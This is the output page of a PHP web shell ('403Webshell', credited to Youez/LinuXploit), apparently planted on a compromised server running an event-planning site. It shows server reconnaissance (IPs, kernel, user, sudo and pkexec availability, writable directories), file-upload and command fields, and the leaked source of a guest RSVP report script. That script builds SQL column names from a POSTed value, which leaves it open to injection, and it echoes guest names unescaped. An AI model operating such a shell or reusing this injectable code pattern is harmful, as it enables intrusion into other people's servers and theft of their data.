403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/rpt/rsvp_open.php
<?php include('mod/_mod_security.php'); ?>
<?php
	if ($_POST['venue'] == 'all') :
		$sql = "SELECT last_name, first_name, guest_type, id FROM guests WHERE ".
				"(rsvp_temple IS NULL OR rsvp_temple = 0) AND (rsvp_av IS NULL OR rsvp_av = 0) AND (rsvp_kv IS NULL OR rsvp_kv = 0) AND (rsvp_bv IS NULL OR rsvp_bv = 0) AND (rsvp_dv IS NULL OR rsvp_dv = 0) AND ".
				"(invite_temple = 1 OR invite_av = 1 OR invite_kv = 1 OR invite_bv = 1 OR invite_dv = 1) AND ".
				"user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." ORDER BY last_name ASC, first_name ASC ";
	else :
		$sql = "SELECT last_name, first_name, guest_type, att_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." AS att_type FROM guests WHERE (rsvp_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." IS NULL OR rsvp_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." = 0) AND ".
				"invite_".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))." = 1 AND ".
				"user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." ORDER BY last_name ASC, first_name ASC ";
	endif;
	$result = mysqli_query($GLOBALS['con'], $sql) or die('Database error!');
	//$result = mysqli_query($GLOBALS['con'], $sql) or die(mysqli_error($GLOBALS['con']).' ==='.$sql.'===');
	if (mysqli_num_rows($result) <= 0) :
		echo 'No data for report!';
		exit();
	endif;
?>
<table align="center" cellpadding="0" cellspacing="2" border="0">
	<thead>
		<?php report_fixed_header(); ?>
		<tr class="page_header">
			<td colspan="3"style="font-size:18px;">
				<?php 
					if ($_POST['venue'] == 'all') :
						echo 'All Venues';
					else :
						echo venue_decode(mysqli_real_escape_string($GLOBALS['con'], trim($_POST['venue']))); 
					endif;
				?>
			</td>
		</tr>
		<tr>
			<td width="150" align="center">
				Last Name
			</td>
			<td width="150" align="center">
				First Name
			</td>
			<td width="120" align="center">
				Guest Type
			</td>
			<td width="80" align="center">
				Guest ID #
			</td>
		</tr>
	</thead>
	<tfoot>
		<?php report_fixed_footer(); ?>
	</tfoot>
	<tbody>
		<?php
			$count_p = 0;
			$count_s = 0;
			$count_c = 0;
			$count_g = 0;
			while($row = mysqli_fetch_object($result)) :
		?>
				<tr>
					<td>
						<?php echo $row->last_name; ?>
					</td>
					<td>
						<?php echo $row->first_name; ?>
					</td>
					<td>
						<?php
							switch ($row->guest_type) :
								case "P" :
									echo 'Primary';
									$count_p = $count_p + 1;
									break;
								case "S" :
									echo 'Significant Other';
									$count_s = $count_s + 1;
									break;
								case "C" :
									echo 'Child';
									$count_c = $count_c + 1;
									break;
								case "G" :
									echo 'Gift Only';
									$count_g = $count_g + 1;
									break;
							endswitch;
						?>
					</td>
					<td>
						<?php echo $row->id; ?>
					</td>
				</tr>
		<?php
			endwhile;
		?>
		<tr>
			<td>
				Total:
			</td>
			<td align="right">
				<?php echo mysqli_num_rows($result); ?>
			</td>
			<td colspan="2">
				Primary - <?php echo $count_p; ?><br />
				Significant Other - <?php echo $count_s; ?><br />
				Child - <?php echo $count_c; ?><br />
				Gift Only - <?php echo $count_g; ?><br />
			</td>
		</tr>
	</tbody>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit